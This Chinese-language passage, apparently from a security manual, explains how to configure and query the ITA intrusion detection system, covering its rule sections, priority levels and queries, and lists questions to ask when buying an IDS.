ITA的第二个优点是其分布式的管理结构。ITA软件包由两个服务和三个应用程序组成:
·ITA Manager(充当服务,守护进程或Novell的可装载的模块)
·ITA Agent(充当服务,守护进程或Novell的可装载的模块)
·ITA Admin(用来配置代理的应用程序)
·ITA View(用于查询代理的程序)
·ITA Setup(从管理者域中添加和删除代理的程序)
ITA和防火墙
防火墙会产生其它的连接问题。如果你试图连接处于防火墙保护下的代理,通常会因为防火墙只允许某些流量通过而失败。为了解决上述问题,请为该连接定义防火墙规则。
定义策略和建立规则
一旦你定义了策略,便可以开始使用它。你可以观看在Policy Library tree下的策略。然而,这个列表只是提供了潜在的策略。如果你希望更改工作中的代理,则点击活动的管理者图标然后是从Policy Library tree起源的策略。
ITA View分三次列出一些或全部的策略。不要对这种重复感到迷惑:程序列出了活动的策略和任何你可能使用策略,还列出至少两个域的策略:缺省的所有代理和缺省的NT。第三个tree列出了你可能增添到缺省域中的策略。当然,你可以重命名这些缺省的域,也可以增加新的域。第四个tree列出了事先定义好的策略,你可以剪切并粘贴到策略库中,并激活它们。在观看Active Policies tree时你无法看到特殊的规则短语和条款。你可以在Policies tree的管理者名称(如Student10)下看到这些信息。
规则的建立
同eTrust Intrusion Detection一样,ITA的规则也包含一些子元素。这些对确定ITA监测哪些网络和主机以及采取哪些行为有所帮助。所有ITA的策略都包含三个部分:选择、忽略和动作。
如果你希望确定一种特别的活动,例如NetBus连接或Land攻击,则 Select元素来定义。ITA针对你定义好的规则来实施特殊的行为。一旦你使用一个Select段并定义了事件,ITA就知道这个事件
然而,ITA并不知道针对这个事件采取什么行动。Ignore段就是用来满足这个需要的。ITA将忽略任何你放在Ignore段中的条款,即使你已经定义过了。在Action段中的条款将决定ITA对你所定义的事件采取什么行为。如果你把相同的事件同时置于Ignore和Action段中的话,ITA不会对该事件采取行动。通常,Ignore段被用来处理误报。ITA规则使用Boolean逻辑。如果Select段被激活或为真,ITA将查看任何的Ignore和Action段。例如,在Action段中规定ITA将事件记录到日志文件中,而且Ignore段中没有覆盖这条逻辑的话,ITA将采用在Action段中定义的规则。
对规则排序
你可以决定每条规则的重要性顺序。每条规则可以具有0到100的值。0到33的值表示这条规则是个警告,34到66表示为中等程度的安全问题,而67到100表示已经发生了严重的安全问题。ITA并不会自己将这些新的规则进行排序,你需要投入事件正确地对它们排列优先级顺序。
Indirect, Filter和Disable三个复选框对定义规则来说并不是必须的。这些只是ITA在应用规则时进行附加控制的。Indirect选项只允许当其它ITA规则引用时才运行,Filter选项将被其它规则检测到的事件删除掉,Disable在ITA检测时删除掉整个的规则。
进行查询
你可以使用ITA View进行查询。从ITA View的主界面,单击New按钮你可以定义并进行查询。Define New Filter对话框允许你连接管理者,然后直接从管理者向代理进行查询。从这里,你可以存储或装入事先定义好的能够帮助你快速了解某台主机安全状况的查询(例如filters)
由于这个程序独立于ITA Admin运行,你必须重新登录管理者。这项要求加强了安全性,而且保证了一个程序的崩溃并不会影响到管理和查询代理。
在连接好代理后,你可以开始进行查询。你的查询受限于你在ITA View中建立和激活的规则。你还可以根据优先级来进行查询。或者使用查询文本框,或者从管理者对象窗口向查询列表窗口拖拽查询项,然后选择Go。在查询对话框中的内容将覆盖在查询列表窗口的输入内容。
购买IDS注意事项
在选择产品时,请注意下列问题,见表
要点
问题
产品支持
谁你们公司所在区域的联系人?他们什么时候工作?什么是你的申报策略?他们什么时候可以进行支持?支持的花费是多少?有没有免费支持号码?
产品培训
提供什么形式的培训?培训包括在产品中吗?花费有多少?
升级策略
管理者和代理升级的频率有多快?升级需要花费吗?第一年的升级是免费的吗?如何通知进行升级?有没有对升级的建议过程?
公司声誉
有哪些公司使用你们的产品?能否让我同使用过你们公司产品的系统管理员接触来了解情况?
IDS功能
在IDS饱和前能处理的流量?如何通知我这些问题?
产品的可扩展性
策略能够制定到什么复杂程度?该IDS可以处理多少种攻击特征和策略?策略能够细致到什么程度?我可以自己制定策略吗?产品研发的时间有多长?
网络支持
哪种网络系统该IDS系统支持得最好?在UNIX,Novell和NT中各有什么缺点?你的产品缺省情况下能检查出什么sendmail漏洞?可以支持那种操作系统或设备(如路由器)。
加密
管理者和代理是否使用公钥加密?使用哪种公钥?
有些IDS厂商不希望泄漏他们的产品的细节。然而,你要弄清楚是该公司不愿意泄漏这些重要信息,还是根本就没搞懂这些产品。
建立基线是你在审计过程中应当采取的第一步。在建立基线时,先在网络活动的峰值期间运行IDS一段很短的时间。下面的连续将告诉你更多的关于整个网络活动的情况。掌握这些信息是唯一能够确定你所运行的网络是否“正常”的标准。确定在员工工作期间发生了哪种类型的活动。这些情况有助于你捕获那些有工业间谍或其它安全伤害的雇员行为。另外可以在晚间运行IDS,因为这是攻击者从外界进行攻击的最常见时段。